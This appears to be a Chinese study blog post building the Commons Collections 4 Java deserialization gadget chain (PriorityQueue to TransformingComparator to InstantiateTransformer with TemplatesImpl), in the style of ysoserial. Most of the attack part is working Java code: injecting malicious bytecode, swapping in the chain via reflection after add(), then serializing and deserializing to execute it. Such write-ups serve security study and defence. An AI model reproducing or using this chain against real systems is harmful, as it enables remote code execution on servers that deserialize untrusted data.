呜呜呜maven构建的好快,我猫猫都没看完

CC4了喵,加油喵
直接看yso的吧
PriorityQueue.readObjet->TransformingComparator.compare->CC3.InstantiateTransformer 之后

TransformingComparator

我们先分析一下cc3和cc4中不同之处的关键
点,就是这个compare方法,二者有什么不一样
CC3中
image.png

CC4中
image.png
二者所实现的接口不同,CC4实现了Serializable接口而CC3中没有

所以我们开始写代码咯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
        TemplatesImpl templates =  new TemplatesImpl();  
Class templatesClazz = templates.getClass();


Field nameField = templatesClazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");


Field bytecodeField = templatesClazz.getDeclaredField("_bytecodes");
bytecodeField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\codefile\\java\\out\\Test.class"));
byte[][] codes = {code};
bytecodeField.set(templates,codes);

// InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

前面一样的就直接贴过来了,不再说原理了,拿这里举例子,如果我们现在就想让它代码执行,只需要调用ChainedTransform的transform方法,那么我们开始继续向上
image.png
image.png
现在就应该很清楚怎么做了
我们接下来的逻辑应该是这样

1
2
3
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);  

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

我们进行序列化和反序列化,发现并没有弹出计算器,所以我们看看缺了什么
image.png
我们发现它进入heapify方法后没有进这个siftdown,所以我们的size是有问题的
我们看看有什么方法可以增加size,很简单,里面有一个add函数,我们调用它就可以增加长度
但是当我们add之后发现报错了
我们跟进去发现它也调用了compare方法
image.png
那它就直接会走错路,类似之前的情况,直接执行,没有走反序列化这条路
那怎么办,我们就像上次C6的时候,先给它赋值为不能直接执行的一个类,然后在走完add之后在给它加进去,就像这样
image.png
我们这里的代码如下

1
2
3
4
5
6
7
Class transformingComparatorclazz = transformingComparator.getClass();  
Field transformerField = transformingComparatorclazz.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);

serialize(priorityQueue);
unserialize("ser.bin");

image.png
成功!